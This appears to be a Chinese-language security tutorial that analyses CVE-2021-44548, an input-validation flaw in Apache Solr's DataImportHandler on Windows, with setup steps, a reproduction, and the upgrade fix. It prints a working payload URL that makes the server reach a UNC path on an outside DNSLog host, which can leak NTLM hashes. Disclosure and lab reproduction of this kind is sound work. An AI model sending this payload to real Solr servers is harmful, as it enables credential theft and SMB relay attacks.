前言
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,文章作者不爲此承擔任何責任。
如果文章中的漏洞出現敏感內容產生了部分影響,請及時聯繫作者,望諒解。
一、漏洞原理
漏洞簡述
Apache Solr是一個開源的搜索服務,使用Java語言開發,主要基於HTTP和Apache Lucene實現的。
2021年12月18日,Apache發佈安全公告,Apache Solr中存在一個信息泄露漏洞(CVE-2021-44548),該漏洞影響了8.11.1之前的所有Apache Solr版本(僅影響Windows平臺)。Apache Solr的DataImportHandler中存在一個不正確的輸入驗證漏洞,可利用Windows UNC路徑從Solr主機調用網絡上的另一臺主機的SMB服務,或導致SMB攻擊,從而造成:
-
敏感數據泄露,如系統用戶哈希(NTLM/LM哈希);
-
在系統配置錯誤的情況下,SMB中繼攻擊可能導致用戶在SMB共享中被冒充,或導致遠程代碼執行。
漏洞分析
根據抓包內容中請求URL參數,以及solrconfig.xml中可以看到
漏洞點出於DataImportHandler#handleRequestBody
如果傳入的command=show-config
並且傳入config
不爲空則有一個openResource
操作,且參數可控
看到solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource
this.getInstancePath()
得到的路徑爲D:\Apache_Solr\solr-8.11.0\server\solr\core1
再執行resolve("conf")
變成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf
再執行resolve(resource)
時,這裏的WindowsPathType變成了UNC
resolve邏輯判斷WindowsPathType是否爲絕對路徑或UNC路徑,是則直接返回參數
resource以\\
開頭就能使inConfigDir
完全可控,在Files.exists
中就會去請求windows的unc路徑
二、漏洞復現實戰
影響版本
Apache Solr < 8.11.1 (僅Windows)
環境搭建
Solr漏洞環境下載地址:
https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip
1)打開命令行,進入bin目錄下,運行solr.cmd start
2)再另一個命令行面板中執行solr.cmd create_core -c new_core
3)然後在solr-8.11.0\dist目錄中添加三個jar包:
4)在solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由
5)在C:\Users\Administrator\Downloads\solr-8.11.0\server\solr\core1\conf目錄下新建data-config.xml文件,內容如下:
<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
convertType="true"
url="jdbc:mysql://IP:Port/test"
user="XXXX"
password="XXXX"/>
<document>
<entity name="entity" query="SELECT id, title, content, tags FROM test_table" >
</entity>
</document>
</dataConfig>
6)重新啓動solr
漏洞復現
進入Solr後臺,選擇core爲我們新配置的core。
選擇Dataimport,查看Configuration,可以看到我們新配置的data-config的詳細信息
我們點擊reload並抓包
查看包內容,可以看到請求如下:
URL參數添加參數,構造payload
payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx
我們添加&expandMacros=false&config=\hdlr07.dnslog.cn\aaa,發送請求:
在DNSLog上可以看到收到請求
漏洞修復
目前此漏洞已經修復,建議受影響用戶升級到Apache Solr 8.11.1。
下載鏈接:
https://solr.apache.org/downloads.html
緩解措施:
確保只有受信任的客戶端才能向Solr的DataImporthandler發出請求
結束語
本文主要介紹了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及復現過程,漏洞主要利用DataImportHandler存在輸入驗證缺陷,最終利用SMB服務導致敏感信息泄露。
更多靶場實驗練習、網安學習資料,請點擊這裏>>
搜索
複製